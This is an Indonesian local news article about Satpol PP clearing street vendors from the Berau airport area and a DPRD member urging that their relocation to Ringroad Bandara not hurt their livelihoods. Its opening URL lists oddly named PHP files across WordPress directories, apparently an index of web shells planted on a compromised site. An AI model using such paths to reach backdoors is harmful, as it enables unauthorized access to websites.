https://benuelsonservice.com/?b=1;C;WP;/wp-admin/options-pyvrmv.php;SH:,/wp-admin/erptqs.php,/wp-content/mmdyzf.php,/wp-includes/lnyysm.php,/wp-includes/Requests/src/Exception/index.php,/wp-includes/js/dist/vendor/index.php,/wp-includes/js/tinymce/skins/index.php,/wp-content/themes/consulting/demos/xhjbyz.php; Komisi II DPRD Berau Minta Relokasi PKL Teras Bandara Tak Rugikan Pedagang - berausatu.id
Example floating
Example floating

Komisi II DPRD Berau Minta Relokasi PKL Teras Bandara Tak Rugikan Pedagang

BERAUSATU.ID, TELUK BAYUR- Satuan Polisi Pamong Praja (Satpol PP) Berau kembali melakukan penertiban rombong dan pedagang kaki lima (PKL) yang beraktivitas di area Tepian Bandara atau Teras Bandara pada Senin (27/10/2025) malam. Penertiban dilakukan karena lokasi tersebut masuk dalam kawasan terlarang untuk aktivitas berdagang, sesuai aturan pemanfaatan bahu jalan dan Ruang Terbuka Hijau (RTH).

Kasi Lidik Satpol PP Berau, Dwi Heri Priyono, menjelaskan bahwa titik berjualan PKL di kawasan itu berada di area keselamatan penerbangan. Menurutnya, keberadaan lapak PKL berpotensi mengganggu aktivitas dan jalur penerbangan apabila terus dibiarkan.

“Area itu merupakan zona keselamatan penerbangan. Jika tidak ditertibkan, dikhawatirkan dapat membahayakan aktivitas pesawat,” jelasnya.

Dikatakannya pula berdasarkan hasil rapat bersama sejumlah instansi terkait, Jalan Ringroad Bandara direkomendasikan sebagai opsi relokasi bagi PKL. Lokasi tersebut dinilai lebih aman dan strategis.

“Selain akses jalan yang lebar, area trotoarnya juga luas. Dengan lokasi yang strategis ini, diharapkan Ringroad Bandara bisa kembali ramai dan menjadi tempat yang layak bagi PKL,” terangnya.

Menanggapi hal tersebut, Anggota Komisi II DPRD Berau, Agus Uriansyah mengatakan relokasi harus mempertimbangkan kondisi para pedagang sebagai bagian dari penggerak ekonomi masyarakat.

“PKL adalah salah satu unsur penting dalam roda perekonomian daerah. Karena itu, relokasi harus dipersiapkan dengan matang agar tidak memutus mata pencaharian mereka,” ujarnya.

Dirinya menekankan bahwa pemerintah perlu memastikan relokasi berjalan tanpa menimbulkan kerugian bagi PKL. Menurutnya, penarikan retribusi di lokasi baru wajar diterapkan selama manfaatnya kembali kepada pedagang.

“Retribusi itu penting. Selain menjadi pemasukan daerah, manfaatnya juga kembali kepada PKL dalam bentuk fasilitas yang lebih baik. Jadi semua pihak mendapatkan keuntungan,” tegasnya.

Diharapkannya pemerintah dapat segera menentukan lokasi relokasi yang paling ideal agar PKL tetap bisa menjalankan usahanya tanpa melanggar aturan. (*MNH/ADV)